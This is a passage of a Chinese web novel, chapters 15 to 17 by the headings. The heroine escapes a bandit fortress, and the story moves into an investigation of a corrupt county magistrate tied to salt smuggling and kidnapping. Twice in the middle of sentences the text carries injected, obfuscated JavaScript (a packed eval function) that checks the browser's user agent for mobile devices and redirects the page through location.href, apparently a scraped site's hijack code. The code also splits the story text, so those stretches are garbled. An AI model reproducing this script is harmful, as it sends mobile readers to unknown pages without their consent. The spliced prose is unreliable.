“三当家这次只带回来十多个人,比往日少了一半还多,寨子的收成也少了一半。是不是出什么事情了?” “况且还要‘上贡’……” 上贡?上什么贡?给谁上贡?声音忽然低了起来,莲玉荇紧紧贴着窗纸,这才将将听到一点声音,两人却突然转了话题。 “……听说三当家这次绑了个不得了的人物,平城那边派了很多官兵来。” “啊?!那我们怎么办?”那人惊惧道。 “你怕什么?出了事,三个当家的在前面顶着呢,再怎么也轮不到我们几个小喽啰。要是有事,不可能操办这么大的酒席,放宽心——” “原来是这样,那我就放心了!” 门口的两个人嬉笑起来,胡乱说着话。 莲玉荇把他们说的话听了进去。大概一会儿就有人来换班,她可以趁着这个空档逃出去。 过了好一会儿,果然听到窸窸窣窣的声音,透过门缝看过去,两个守卫喝得醉醺醺,摇摇晃晃走过来,另外两个守卫自然等不及了,一路小跑着离开了。 机会来了。莲玉荇心中暗道。 莲玉荇看着外面眼睛都睁不开的两人,轻声开口道:“两位大哥……” 两人听到声音,迷迷糊糊看过来,大声说道:“什么事?” 莲玉荇思虑片刻有了主意,抽噎起来,“两位大哥,我一天一夜都没吃东西了,现在饿得心慌,如果两位大哥愿意给我一点吃的,要我做什么我都愿意,求求你们了……” 门外两人本来有所迟疑,但是听到莲玉荇可怜又可亲的声音,很快便答应,“真的做什么都愿意?” “真的真的。”莲玉荇连连点头,心里却想着,等我出去,让你们好看。 一个人离开去拿食物,一个人则守在门口,等了一会儿,莲玉荇听到了钥匙碰撞响动的声音。 门忽地开了,醉酒的男人一脸迷蒙,眯着眼睛看向莲玉荇,想做什么不言而喻。 莲玉荇直直对上男人贪婪的眼神,眉眼弯弯,伸手示意男人进房间。 进了房间,下一瞬,趁男人没反应过来,莲玉荇擒着男人的双手往后扭,接着用手使劲往男人脖颈上敲。 男人一瞬间没了知觉,往地面滑落,莲玉荇谨慎地踢了踢男人的身体,确定男人彻底昏死之后,伸手将钥匙拿过来。 方才她在房间里翻到一套衣服,莲玉荇赶紧拿出来换上,退出房间后,重新将门给锁上。 莲玉荇往外奔逃,第一时间前往地牢,看能不能把地牢里的人给救出来。 地牢里守卫森严,层层把守,莲玉荇还没来得及前进一步,便被人发现了。 所幸夜色深沉,她借着夜色一路躲藏,终于甩开了跟了一路的土匪。 假山里漆黑一片,莲玉荇大气不敢喘,躲着躲着,发现外面的声音不太对,杂乱无章的脚步声很多。 等到没什么动静之后,莲玉荇稍稍从假山内出来,一路跌跌撞撞往寨子外面跑。 既然她一个人救不了所有人,那就先逃出去,先和小舅舅他们会和,再来救地牢里的人。 莲玉荇一路跑一路躲藏,寨子里点起了火把,没有了一点欢闹的气氛,有一种山雨欲来的征兆。 有两个土匪举着火把迎面而来,莲玉荇反应迅速,侧身躲在石头后面。 两个人边走边说,分外着急,“山下聚集了好多人,正准备强攻进寨子,当家的刚才突然摔了碗,真吓人呐。” “快别说了,阁楼里关着的那人不见了,三当家那脸色感觉要吃人。” “别说了别说了,赶紧走,耽误之急是把寨子守住,不然我们都得完蛋。” …… 两个人走得越来越远,莲玉荇才小心翼翼地往山下跑去,看来他们快攻上来了,得赶紧去接应他们。 莲玉荇走得越来越快,还没走出多远,忽地被一个人拦住了去路,心里登时一惊,旋即瞪大了眼睛。 ** 贺砚随一路策马,很快便发现山下的不对劲,在半路下了马,躲在一边的草丛里,仔细观察着情况。 马往前跑了十几米便被人拦住了,贺砚随听见说话声,那伙土匪应该知道有官兵往这边来,早早派了人在山下守着。 贺砚随没说话,给暗卫们使了个眼色,暗卫们尽数冲了上去,给土匪们杀了个措手不及。 这一打便打出了一个缺口来,贺砚随趁土匪不注意,从缺口处上山了,等到土匪们反应过来,已经来不及了。 紧接着后面又涌上来一大批人,土匪们吓得屁滚尿流,纷纷往寨子处撤退。 悄无声息进了寨子之后,贺砚随便开始寻找莲玉荇的踪迹,一路上听到很多人在说阁楼,捕捉到关键信息的贺砚随便往阁楼赶。 待贺砚随到了阁楼,阁楼里房门大开,一个人影都没有,不由得心沉了下来,接着便在角落处瞥见了一抹斑斓色彩。 贺砚随走过去,把衣服抓在手里,应该是莲玉荇的衣服。 现在人却不见了,难道已经逃出去了?贺砚随心想,脚步不停,终于在一处假山发现了一个熟悉的身影。 贺砚随心跳快了起来,疾步上前,拦在那人面前。 莲玉荇满脸不可置信,谨慎观察四面,把贺砚随拉到假山后面,连珠炮似地开口:“贺砚随,你怎么在这儿?你怎么上来的?你遇到我小舅舅他们了吗?” 贺砚随抬起食指,在莲玉荇嘴边比了个手势,示意她噤声,假山后又急匆匆跑过去一大堆人。 “一会儿就会有人攻上寨子,这里很危险,我们先离开这儿。”贺砚随伸手去拉莲玉荇,却被她躲开了,“我不走。” 两人站在原地僵持了片刻,贺砚随反应过来,说道:“等官兵攻上来,寨子里必然乱做一团,还不如等平定以后再救下她们,如何?” 莲玉荇摇摇头,“这伙土匪远比你想的要残忍野蛮,抢来的女人和孩子还留在山上,还没有被带离此处,必然是还有用。况且,你们还没来的时候,这寨子当家的便把我圈禁起来做人质,用来当手里的筹码。” 说到筹码,贺砚随也不由得惊了一下,要是他没在贺沅安他们之前赶过来,莲玉荇又或者一大批女人和孩子,就都会被劫持在刀下。 贺砚随不敢再想,赶紧开口问道:“她们在哪儿?” 莲玉荇见贺砚随同意,心下稍安,拉着贺砚随往地牢的方向跑去。 她专门挑了一条小道,人不是很多,避免了很多正面冲突。 到地牢门口,原先看守的人不减反增,待会儿局势不利,土匪肯定会来地牢劫持人质。 莲玉荇更加庆幸自己返回地牢的决定。 她看了一眼贺砚随的腰间,贺砚随顺着她的视线看下去,腰间别着一枚雾雷。 贺砚随把雾雷递给莲玉荇,莲玉荇则凑到贺砚随耳边低声说话,“待会儿我把它扔出去之后,你负责解决这边的,我负责这边的。” 两人离得很近,莲玉荇的呼吸全打在贺砚随的脸上,泛起一阵酥酥麻麻的感觉。 贺砚随紧绷着身体,“嗯”了一声。 莲玉荇默念着时间,以迅雷不及掩耳之势把雾雷扔了出去,霎时间“砰”地 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下了山,果然看到贺砚随说的负责接应的人,莲玉荇回过头往山上看去,山上已经燃起熊熊大火,已成溃败之势。 ** 徐家寨之上,徐速徐昭徐免三兄弟精心布置的防线,被层层攻破,最后一道,也撑不住多长时间了。 徐速带着一众人往地牢退去,准备挟持几个人质,威胁一众官兵放他们一马。 原本以为,这个筹码应该不会用到,谁能想到阁楼之上的莲玉荇竟然逃跑了,现在他们也已经被逼到穷途末路。 当看到四处倒在地上的兄弟时,徐速暗道不妙,身后徐免和徐昭的脸色也不对。 前去探查的人一脸悲怆,拱手道:“回大当家,人质全跑了!全跑了!” “废物!”徐免大步上前,把探查的人扇倒在地上,他就说心里总觉得哪里不对劲,原来是在这里等着他们呢。 眼看众人情绪不对,徐昭赶紧制止,道:“眼下局势全然不利于我们,便如那位大人所说,放弃寨子,逃吧……” 一番话击溃众人的心理防线,但也为众人提供了一个出路。 “赶紧走!”徐速大手一挥,果断带着剩下的人往后山处撤退。 到了半山腰,众人都傻了眼,山下布满了人,就像一开始他们布开防线,阻拦别人一样。 众人慌不择路地退回去,才发现官兵已经追了上来,两面夹击,没有任何逃亡的路口了。 徐速一脸愕然,怎么都没想到,自己会从得意洋洋,落到现在这种下场。 身后的徐免徐昭一脸颓然,认命一般丢了手上的兵器,投降了。 主将投降,小兵也没有拼死抵抗的意思,纷纷缴械投降。 徐家寨全寨被擒,这个名震一时的土匪窝就此没了踪迹,被一把火烧了个干净。 ** 莲玉荇下山后,就被安置到客栈休息,余下的女人和孩子,就近的已经送回家去,剩下的也都先安置在客栈。 不到两个时辰,贺砚随他们也回到了客栈。 楚元琅一见莲玉荇,咧开笑意,就要往莲玉荇身上扑,被贺砚随及时拦住。 等到楚元琅看过来,他只神色淡淡,漠然说道:“脏。” 楚元琅悻悻退后,眼底满是庆幸和开心。 四人围着桌子坐了下来,贺砚随和贺沅安相对而坐,一时间暗潮汹涌。 楚元琅有些莫名其妙,不明白两个“不认识”的人,怎么如此针锋相对。 难道是风水不和? 知道两人关系的莲玉荇眨眨眼,示意楚元琅别说话。 唉,她也很好奇,他们兄弟俩怎么会变成现在这样。 明明是同胞兄弟。 15. 推拒 在客栈休息了几日,贺砚随他们打算去淮安县衙探查一些事情。 几个地方失踪的人虽然已经找回来了,但是这其中的种种,让人不敢深思。 莲玉荇没有跟着太守府派来的人一同回平城,这几日她一直在想一些事情。 一是,当日她在徐家寨听到看守之人所说,徐家寨主要收入来自抓来的人。 她猜测,徐家寨的生意要么是敲诈勒索,要么是贩卖人口。 而且徐家寨收到的钱财,看样子还要分出一部分来“上贡”,这贡要送往何处,具体还尚未可知。 徐家寨的人悉数都被收押在淮安县衙,有专人看管,待到他们前去审问,应该会有所收获。 二是,她和贺砚随的关系并未像她设想的轨迹进行,反而越走越近,还有几分亲近之意。 当初信誓旦旦说出口,现在却又做不到了。 莲玉荇有点唾弃自己了,前世那些事情还历历在目,就算她真的和贺砚随亲近,断然也做不到心无芥蒂。 莲玉荇思量许久,她还是和贺砚随保持距离,以免多生事端。 下了楼,贺砚随、贺沅安、楚元琅几人已经坐在桌前等着,看见莲玉荇来了,楚元琅赶忙让位,“表姐,你坐这里。” 还未来得及说什么,莲玉荇就被楚元琅带到桌边,旁边坐着的是贺砚随,看她坐下来,只扫了一眼,又移开了视线。 贺沅安将众人的反应收进眼底,淡淡开口,“既然休息好了,便赶紧出发吧,迟则生变。” ** 淮安县衙处在街区,四面通达,几人抄了小道,不到半个时辰就到了县衙门口。 县衙大门紧闭,不知道是什么缘故。 楚元琅看了看周围,一个是她表姐,两个是王爷,断然没有使唤他们的道理,任劳任怨上前拍响大门。 过了好久,里面的人才慢慢悠悠走出来,依稀听得见脚步声,大门“吱呀”一声开了。 有人探出头来看,眼睛微微眯起,看起来十分奸滑,不耐烦说道:“什么事儿?今日县令身体不适,不便接见,还请诸位从哪里来回哪里去。” 说着就要把大门关上,楚元琅伸手拉着门,一副不好惹的样子,拿出令牌举到那人面前。 “奉命行事,我们要见庄县令,烦请让路。”楚元琅语气十分冷淡,当即放了话。 楚家祖上是武将,楚元琅自然而然承袭了几分,正经起来也带着一些威慑之意。 那人缩了缩头,低声细语,像是在和人交谈,不一会儿,便开了门,让他们进去了。 莲玉荇走得慢,很快落在了队伍之后,走在前面的三人没有察觉她的刻意,仍然继续走着。 这样也好。莲玉荇心想。 只要贺砚随不接近她,她便保持分寸,不会惹人生出其他心思来。 那人将他们带到客厅,便去请了庄县令来。那庄县令身姿矫健,步履带风,不像身体抱恙的样子。 莲玉荇坐在角落,一言不发,静静看着他们几人和庄县令交涉。 楚元琅率先发话:“徐家寨的土匪尽数押在淮安县衙里,此番我们前来,是想看看还能不能找到线索。这几日庄县令已经审问过他们了,不知道可问出些什么了?” 话音落下,所有人的目光都落到了庄县令身上,庄县令的身体僵了一瞬,犹豫了片刻。 “怎么了?庄县令是有什么顾虑吗?”楚元琅挑眉。 这老匹夫,怎么看怎么有嫌疑。 要不是听表姐说这些土匪绑架百姓换来的钱财,有一部分拿来“上贡”,不然庄县令这副坦荡姿态,他还真是丝毫没怀疑。 庄县令笑了笑,回答:“这几天下官亲自审问,什么刑罚都用尽了,那伙土匪嘴硬得很,半句话都没吐露。” 庄县令顿了顿,想到他们应该没那么容易信任自己,又道:“几位既然来到县衙,不妨亲自去看看,便知道下官所言是真是假了。” ** 淮安县衙大牢。 地牢里阴暗潮湿,脚落在地上都能感觉到潮气。 拐过弯,入目是一片猩红的场面,徐家寨的三个当家土匪被绑在架子上,身上布满了大大小小的伤口,垂着头,没了意识。 庄县令没有说谎,他确实对徐家三兄弟进行严刑拷打,以期能得到丁点儿的信息,但是看样子,没什么用。 楚元琅绕着三人走了一圈,目光落在伤口处,眼底闪过异样,随后朝莲玉荇他们摇摇头。 “既然如此,那我们便先回去,等庄县令的消息罢。”楚元琅说。 “辛苦诸位。”庄县令眼眸微闪,叫人瞧不真切,“一有消息,我会立马派人前去通知几位。” 目送莲玉荇他们远去,庄县令才收回目光,接过仆从递过来的手帕,随意地擦了擦,扔到地上。 还真是难缠。 ** “庄县令定然知道些什么,或者说,徐家寨的勾当与他脱不了干系。”楚元琅愤愤说道。 他知道莲玉荇在徐家寨的时候意外听到了土匪的交易,也清楚庄县令与这些事情有着密不可分的关联。 但是找不到证据,还是让人恼火。 莲玉荇:“淮安县衙在百姓失踪后不加重视,草草结案,本就有包庇嫌犯的嫌疑。徐家寨的收入要上贡给某位大人,以求得庇佑。” 其中关窍,应该就在这庄县令身上。 庄县令对徐家三兄弟严刑逼供,像是急着撇开关系,证明自己的清白。 莲玉荇若有所思。 若是她的推测是正确的,徐家寨“上贡”的银两不在县衙的库房里,就在庄县令的私宅。 得找个机会去一趟庄县令的宅子。 又过了几日,贺砚随早出晚归,贺沅安也整日不见踪影。 莲玉荇躲在客房里,极少与他们兄弟俩见面,乐得自在,丝毫没表现出来。 到晚饭的时候,莲玉荇迟了一会儿,下楼的时候人已经离开了,客栈里空空荡荡的。 莲玉荇坐了下来,想叫伙计送些吃的过来,四处看看没瞧见人影,自顾自倒了茶水啜饮。 烛火昏黄,摇摇晃晃扑到身上,覆下一片阴影。 莲玉荇眨眨眼,暖黄色的光便随着睫毛跳跃,平添些许破碎之色。 大堂里很安静,待了一会儿,饥饿感渐渐褪去,莲玉荇起身上楼,没走几步,就又停了下来。 楼下传来脚步声,有人从厨房走出来,路过楼梯旁脚步微顿。 一时间,四目相对。 两个人一上一下,距离不远不近,能清楚看到对方的神情。 “端王殿下没吃晚饭吗?”莲玉荇说。 还是第一次见贺砚随这般模样,鬓发微乱,脸上沾了灰,手上端着盘子,整个人看上去很平易近人。 贺砚随见到莲玉荇,眼波微动,不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333976|167733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没什么惊讶之色,隐隐有些期待,“我做了些吃的,莲姑娘可是饿了,不妨一起。” 明晃晃地邀约,莲玉荇自然懂得贺砚随眼里的期待,装作没看见,语气冷淡:“不必了,殿下自己吃吧。” 说完就转身上楼了,只留下贺砚随一人站在原地,眉眼慢慢冷了下来,似痛苦,似嫉恨。 手里的盘子被他捏得嘎吱作响,心里隐隐有猛兽呼之欲出,几乎要压不住,眼眸漆黑一片。 在山寨之上两个人并肩作战,莲玉荇对他的态度明显好了不少,不同于很久之前,而且隐隐有亲近之意。 一直到今天之前,都还是正常的。 现在语气分外冷淡,难道此前种种都是装出来的。 贺砚随气得发抖,这段时间他和莲玉荇关系有所变化,现在看来,他岂不是又被莲玉荇玩弄于股掌之中了。 好你个莲玉荇! 贺砚随脱手,盘子便飞了出去,碎片四处溅开,手上钝痛一片。 贺砚随将拳头捏得更紧了。 客房里,莲玉荇将大堂的动静悉数收进耳朵里,眼底的情绪一闪而过,神色淡淡。 恨吗?那就好。 往后她要找贺砚随寻仇,也就更有理由了。 ** 楚元琅率先发现两人关系的变化,平日里还和和气气、互相问好的两个人,仿佛变了一副模样,连眼神接触也没了。 视线游移不定,舌尖上的话滚了又滚,最终咽了回去。 贺砚随心里烦闷不已,找掌柜要了一壶酒,来到后院自顾自喝了起来。 身后有脚步声传来,贺砚随动作一顿,须臾间恢复如常。 “怎么?受了情伤,来这儿喝闷酒来了。”贺沅安言语讥讽道。 昨夜大堂里传出的动静,客房里听得清清楚楚。 只是没想到,贺砚随竟然会如此在意一个女子。 “你这张嘴向来能说会道。”贺砚随说道:“不过,堂堂景王不也躲在这后院,不知道是做些什么见不得光的事,” 两个人脸色都不是很好,你来我往,争锋相对,谁也不让谁,如同幼时那般。 方才歇了片刻,贺砚随就又开口:“你来平城,也是为了私盐一事。” 不是疑问,而是言之凿凿地说出了贺沅安此行的目的,想来很早就调查清楚了。 贺沅安没有遮掩,坦然回应:“是,一月前莲姑娘写信告知本王一些线索,特邀本王来平城。” 话音刚落,贺砚随眼神暗了暗,莲玉荇是如何知道私盐的线索? 还将线索告知了贺沅安。 “既然大家目的一致,那私盐案能否破获,就各凭本事了。”贺沅安扯了扯嘴角,“别怪本王没提醒你,时间不多了。” 贺沅安的身影消失在拐角处,贺砚随沉默半晌,忽地灌了一大口酒。 回房时在门口遇见了莲玉荇,贺砚随视若无睹,从莲玉荇身边走过,带起一阵温热的风。 ** 吃了晚饭,贺砚随一声不吭带着侍从离开了,刚好被楚元琅碰上了。 “贺兄这是去哪儿?”楚元琅叫住他。 贺砚随停下脚步,道:“现下案子没什么线索,留在这儿也起不到什么作用。况且我还有要事在身,就不与几位掺和了,告辞。” 楚元琅心里隐约猜到一些,拱手相送,“既是如此,贺兄此去注意安全,有缘再见。” 16. 处置 “如今线索全断了,耗在客栈也于事无补,不如我们先去查探私盐案。”莲玉荇看了看身边的人,说道。 贺沅安摩挲着手上的戒圈,认同道:“在淮安耽搁了太久时间,是时候该干正事儿了。” 贺砚随现在的进度应该在他们之前,前几日他派人去查了一些线索,聊胜于无。 不过贺沅安并没有把所有的事情告知莲玉荇,有所保留,毕竟与人谋事,总得留一些后路。 “我总觉得庄县令有问题。”莲玉荇说:“盐价上涨率先从淮安开始,庄县令在淮安任职时间已经有三年之久,对淮安的盐价肯定有所察觉。” “假设,只是假设。”莲玉荇斟酌着措辞,思索怎么说才更合适。 “如果徐家寨拐卖人口赚取的钱财,有一部分供奉给庄县令,求得庄县令的庇护。庄县令用这笔钱来收购市面上的盐,再高价卖出。两方得利益,是个稳赚不赔的买卖。” 这个想法也不无道理。贺沅安在心里盘算着,缓缓开口:“不无可能,只是私盐案牵涉重大,不能凭借莲姑娘这番推断,还得拿到证据。” 莲玉荇:“这是自然,那就顺着这个方向查吧。” 拍定方向,莲玉荇起身推开门,日头正盛,很是晃眼。 楚元琅嘴角噙着笑,“表姐,走吧!” 一行人兵分两路,莲玉荇和楚元琅负责查庄县令这条线,盯紧庄县令身边人的去向。 贺沅安独自行动,去各个盐铺查探,看能不能找到什么更有价值的东西。 庄府门外,莲玉荇和楚元琅躲在墙角,时刻注意来往庄府的人。 这几日县衙休沐,庄县令此刻正在私宅休息。 小半个时辰过去,庄府门前冷冷清清,没人来,也没人离开。 楚元琅缩回身子,皱着眉,“表姐,咱们盯了这么半天都没见什么人,姓庄的会不会没在私宅?” “应该不会,”莲玉荇摇摇头,“我派人去查过,庄县令从前日开始,便一直在私宅待着,没出去过。我们再等等。” 莲玉荇将视线重新投向庄府门口。 又过了半个时辰,楚元琅困倦非常,打了个哈欠,再睁眼发现大门悄然打开了,管家模样的人关上门,从小巷离开了。 莲玉荇和楚元琅对视一眼,小心翼翼跟在管家身后,不远不近。 管家十分警惕,老态的脸上有着不相符的锐利,一边走一边四处观望,莲玉荇他们躲得很快,才没被发现。 拐过了七八个巷子,管家警觉地往后看,抬手敲开一扇门进去,待莲玉荇和楚元琅进去查看时,已然人去屋空了。 “被发现了。”莲玉荇颇为失望,还以为能抓到庄县令的把柄。 楚元琅惊讶道:“不过是一个县令的管家,竟有这么大的本事。” 恐怕从庄府开始,他们就被庄府管家发现了。 “先回客栈,再行商议。”莲玉荇拍了拍楚元琅的衣袖,眸色渐深。 ** 长街之上,贺砚随一副贵公子扮相,手上的山水折扇掩盖了满身锋芒,时不时还摇晃几下。 身后跟着的十九和迎月,也是奴仆打扮,丝毫看不出两人本是暗卫。 淮安县的盐铺和盐商他们都调查清楚了,除了周边零零散散不成气候的盐铺,生意最大、最好的就是这条街上的津南盐铺。 津南盐铺里的盐主要供应各大酒楼客栈,别的盐铺时不时缺盐,只有津南盐铺里的盐供应不断,即便价格颇高,也十分受人青睐。 至于这盐从何处来,没人知道。 贺砚随撩起眼皮,往金光闪闪的牌匾上看去,比淮安县衙的牌匾气派不少。 接着抬起脚,踏进了盐铺,还未等几人发话,就有人迎了上来,“几位客官,是要买盐吗?对品相有何要求?” 贺砚随十分惫懒,摇着折扇没说话,姿态倨傲却又不惹人厌烦,那人尴尬地笑了笑。 十九尽职尽责,上前说道:“我家公子是做酒楼生意的,听说淮安县津南盐铺的盐品质极佳,特地来此进货。” 那人咧开了嘴,先前被忽视的尴尬也褪去,面露得意,“我们津南盐铺的盐要是第一,没人敢称第二的。不知客官要进多少货?” 十九伸出手,比了个手势,那人愣了愣,随后将贺砚随他们领进了内室。 “诸位稍等,我去请我们掌柜来。”话毕便退了出去。 过了片刻,屏风后多了一个人影,却迟迟不肯露面。 “我是这店铺的掌柜,不知道客人用这么多盐做什么?寻常酒楼用盐不过几十斗,用不了那么多。”盐铺掌柜说道。 十九嗤声:“既是谈生意,掌柜的躲在屏风后面,是何意思,是瞧不起我们公子吗?” 十九言语间夹枪带棒,把掌柜原本要说的话堵了回去,“这……” “十九。”贺砚随抬眸,终于舍得开尊口,“掌柜这是不相信我们,寻常酒楼不可能用这么多盐,那若是京都里的酒楼呢。” 掌柜闻言沉默了一会儿,似乎是在思索贺砚随所言的真实性,最终从屏风后走了出来。 “几位随我来,盐放在库房里。” 脚下的路坑坑洼洼的,走了一柱香的时间,掌柜在一间屋子前停下了脚步。 掌柜推开门,“就是这里了,公子可以先行挑选。” 屋子里黑漆漆一片,贺砚随往前走了几步,顿住。 “公子怎么了?”掌柜开口,气息有些不稳,细听是不易察觉的颤抖。 贺砚随不着痕迹给十九和迎月递了一个眼神,重新对上掌柜的眼神,“无事,走,先进去看看。” 贺砚随面色如常,提步进了房间,待到三人都进了房间,房门突地被关上了,发出“咣当”的响声。 掌柜的声音传进屋子里,很是嘲弄,“京都的人怎么会跑到淮安买盐,你们这些人真以为我是傻子吗!想打盐铺的主意,今日就叫你们有命来,没命回去!” 墙壁上出现了机关,银色的箭尖在昏暗的房间里很是瞩目,下一瞬,长箭破空而来,朝着要害处去。 贺砚随眼底清明,站在原地没动,一呼一吸间,十九和迎月将暗器悉数扫落在地上。 迎月挡在贺砚随前面,“主子小心。” “你们是什么人?!”门外,盐铺掌柜惊叫出声,接着被暗卫擒住。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333977|167733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 过了一会儿房门大开,贺砚随踱步而出,悠闲又懒散,站到掌柜面前问话,眼里闪过一抹厉色:“说,这盐铺中的盐从何而来?而你又替谁卖命?” “你休想知道!”掌柜恶狠狠盯着贺砚随,嘴上一动,片刻后便软倒在地,死透了。 十九让人把尸体抬下去,“主子,看来背后之人早已做好了准备。” 贺砚随不以为意,“正常,贩卖私盐也是掉脑袋的买卖,富贵险中求。” “主子,接下来我们怎么做?”迎月问道。 “不急,先静观其变,闹出这么大的动静,背后之人肯定坐不住了,必定有所动作。” 何况,他已经知道背后之人是谁了,抓个人赃并获更好。 ** “老爷,我今日出门时好像被人跟踪了,绕了几个巷子才把人甩掉。” 管家进了书房,躬身行礼,向庄县令禀报:“铺子那边传来消息,有人扮作贵人前去试探,掌柜发现不对,但还是被人擒住,服毒自尽了。” 庄县令眼神一凝,“看来他们还是不死心,竟然找到铺子去了。接下来是不是要找证据了?” “那几个人留不得了。”庄县令想起什么,吩咐管家:“你准备点酒菜,去县衙大牢一趟,这样……” 管家应声退下了,庄县令变了眼神,在墙上按了一下,书房里凭空出现一间密室。 ** 大牢里,原本关押在牢房里的徐家寨土匪,此刻正坐在桌前大快朵颐,豪迈地饮着酒水。 管家垂着手,十分恭敬地站在一边,任谁也没看见,管家眼里浮现的狠辣神色。 老大徐速见管家站着,招呼他:“庄管家,坐下来一起吃啊,站着多扫兴。” 平日里徐家寨的人和庄管家接触比较多,丝毫没察觉出什么不对。 视线全都聚集在庄管家的身上,庄管家脸上堆着笑意,“老奴来的时候吃过了,就不与各位爷同坐了,这菜是酒楼里打包过来的,趁热吃……” 话还没说完,徐免便打断了他:“庄管家,大人可有说什么时候放我们出去?兄弟们在大牢里待了快一个月,刑罚也受了,何时能有具体答复?” 方才还热闹的场面忽地静了下来,庄管家张了张嘴,似乎想说什么,又咽了回去。 徐速是个急性子,催促道:“庄管家有什么话但说无妨。” 庄管家点了点头,说道:“前几日大人有说,等事情结束便放各位离开,似乎……似乎……” “似乎什么?”徐昭问他。 “……就是今日了。” 众人欢呼出声,喜悦之情溢于言表。 庄管家笑笑,往后退了几步:“各位快些吃饭,吃完好上路。” 原本开心的众人变了脸色,瞬间意识到什么,不停质问庄管家是什么意思,说着便想冲上来。 庄管家面色不变,挥了挥手,身后涌进了一群黑衣人,剑上映射出徐家寨众人惊恐的神色。 鲜血流了一地,蜿蜒到庄管家脚边。 庄管家掏出帕子擦了擦身上被溅到的血迹,笑得和蔼。 这下,老爷可以放心了。 17. 花魁 来平城两月有余,按照莲玉荇的打算,此刻她应该已经回到了京都,而不是还在淮安,查一个没头没尾的案子。 此刻,这种感觉越发浓烈。 早些时候,县衙那边有人来报,地牢里关着的那伙土匪昨夜被人杀了个干净,一个活口都没有。 来人这样说:“歹徒来势汹汹,杀了值夜的官兵,想来是土匪穷凶极恶,与人结仇,被报复了。” 昨日他们跟踪庄管家,如今人人便死了,真有这么巧的事情? 莲玉荇不信。 庄县令这么着急,无非是怕他们找到了他的罪证,索性先下手为强,把人灭口。 看来得加快进度。莲玉荇心里有了想法,准备说与贺沅安和楚元琅听,急切地推开门。 “景王殿下……” 房间里没人,莲玉荇有些疑惑,人怎么不见了? 莲玉荇往大堂里走去,果然找到了楚元琅,不过依然不见贺沅安的身影。 “元琅,你见过贺公子没有?”莲玉荇问。 楚元琅好像才看到莲玉荇,反应迟钝,脸色有一瞬间的僵硬。“我不曾见过,应该是有事出去了。” 莲玉荇狐疑道:“你怎么了?” 年纪不大,心眼不小,保准是有事情瞒着自己。 “拿出来吧,刚我看到你藏起来了。”莲玉荇伸出手讨要,楚元琅表情扭曲了几分,犹犹豫豫,最后还是把东西拿出来了。 手上的信封因为用力已经皱了,可以看出来楚元琅的纠结。 莲玉荇在楚元琅的注视下打开信封,面无表情看完,又把信纸塞了回去。 楚元琅觑着她的脸色,“表姐,那群土匪悉数被杀死,你也看出来了,这件事已经不是我们所能掌控的,不如先回去……” “我知道,小舅舅担心我们会受伤,所以才来信催促。”莲玉荇垂眸,“这件事确实是我欠缺考虑。” “表姐答应回去了?!”楚元琅睁大了眼睛,没想到莲玉荇这么轻易就同意了。 莲玉荇失笑:“我是说,应该把你送回去。我答应把贺公子做一件事,眼下还没履行,不能言而无信。” 接下来的路十分艰险,楚元琅是楚家独子,已经跟着她经历了许多险境,万万不能再涉险了。 “诶?!表姐你不能这样。”楚元琅还想说话,被莲玉荇堵了回去,“好了,你给我留一些侍卫就行,回去跟小舅舅报声平安。” 楚元琅不吭声了,垂头丧气,过了好一会儿才抬起头来,看样子是被说服了。 他眼睛亮晶晶地,看向莲玉荇,“表姐,一切小心。” 手里多了一块腰牌,是楚元琅从平城太守处借来的腰牌,要不是看在莲丞相的面子上,还真不一定借。 莲玉荇握紧了腰牌,望着楚元琅离开的背影,眼神坚定。 ** 县衙,庄管家急匆匆跑进书房,匆忙间绊到门槛上,身体踉跄摇晃,差点摔掉。 庄县令对着账本愁眉紧锁,登时不悦,喝道:“慌慌张张做什么,有鬼吃人吗!” 庄县令稳住身形,赶紧禀报:“老爷,来人了!” “什么人?” “就是之前来的那几个人,有太守府腰牌……”庄管家说得磕绊,“不过这次不一样……” 庄县令摆摆手,已然不耐烦,“去看看,他们这次搞什么名堂。” 偏厅上,男人一身玄色衣袍,云纹绣得栩栩如生,张牙舞爪的威势磅礴而出,气势逼人,让人看了自惭形秽,不敢直视。 身旁的侍从低眉敛目,恭恭敬敬地敬茶,不敢有多余的动作。 庄县令刚进偏厅就看到了这样的画面,心里的不悦更甚,隐隐有怒火升腾,也没管贺沅安怎么一个人来此。 竟敢在县衙里耍威风,真是不把他放在眼里。 “这位公子好大的威风啊。”庄县令冷哼,没给贺沅安眼神,径直坐上了主座,活脱脱盛气凌人,小人得志的模样。 气氛一时间暗潮汹涌,贺沅安放下手上的茶盏,磕在桌子上发出一声脆响。 “庄县令威风堂堂,不输于本王。”贺沅安撩起眼皮,语气冰冷。 边上的侍从不着痕迹抖了抖,从怀里拿出令牌,大声道:“景王殿下在此,还不拜见。” 原本还得意洋洋的庄县令瞬间垮了脸,想起身却使不上力气,惊惧之下竟然从座位上摔了下来,狼狈不堪。 贺沅安哼笑,欺软怕硬的狗东西。 原本他还以为这位行动不便的县令有什么本事,现在看来也不过如此。 庄县令一路膝行来到贺沅安面前,笑得谄媚,“下官有眼不识泰山,冲撞了景王殿下,还请景王殿下恕罪。” 淮安县山高皇帝远,鲜少有达官贵族行访,皇子微服私访还是第一次。 庄县令只是小官,没见过皇子,闹了个大笑话。 “行了,不必搞虚头巴脑那套。”贺沅安笑得嘲弄,“本王且问你,这县衙的官银……还有多少?” 庄县令哽住了,怎么突然问这个。 